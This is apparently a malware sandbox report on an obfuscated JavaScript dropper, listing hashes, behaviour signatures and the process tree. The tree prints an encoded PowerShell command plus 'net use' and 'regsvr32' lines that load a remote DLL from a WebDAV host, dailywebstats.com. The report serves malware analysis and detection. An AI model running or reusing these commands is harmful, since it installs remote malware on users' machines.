Analysis

  • max time kernel
    136s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 13:56

General

  • Target

    2e2f551b0296ad9ad201131240c02f5a901c6b981d5cf319d2fb7ac0b7684ee6.js

  • Size

    9KB

  • MD5

    05bd2b94fb34e36522050f49d8dff826

  • SHA1

    d56ba2c2124c46e96c4afe6a4eaf085c78bdd277

  • SHA256

    2e2f551b0296ad9ad201131240c02f5a901c6b981d5cf319d2fb7ac0b7684ee6

  • SHA512

    acea302c2dd73e5265a0ff39c47ea4a4f93cad56b32b8784f5938e583c89550f845b68194e3426f3651c4892dbbae0cee8cfb79fa9d8ee576cb11d68bed6b9e3

  • SSDEEP

    192:HUKhhRgKwoDD2ILSYYTE3shSOoURCNuIf3shSOoURC7xh:0Kh3woDDdLSY4ysoO7RCcIfsoO7RCth

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2e2f551b0296ad9ad201131240c02f5a901c6b981d5cf319d2fb7ac0b7684ee6.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADIAOAA2ADQANgA3ADQANQAzADEAMAA1ADUAMgAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:3248
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\28646745310552.dll
          3⤵
            PID:4336

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vlq25yzb.g0e.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/1996-0-0x00007FFAD8AF3000-0x00007FFAD8AF5000-memory.dmp

              Filesize

              8KB

            • memory/1996-1-0x0000026CDFCB0000-0x0000026CDFCD2000-memory.dmp

              Filesize

              136KB

            • memory/1996-11-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

              Filesize

              10.8MB

            • memory/1996-12-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

              Filesize

              10.8MB

            • memory/1996-15-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

              Filesize

              10.8MB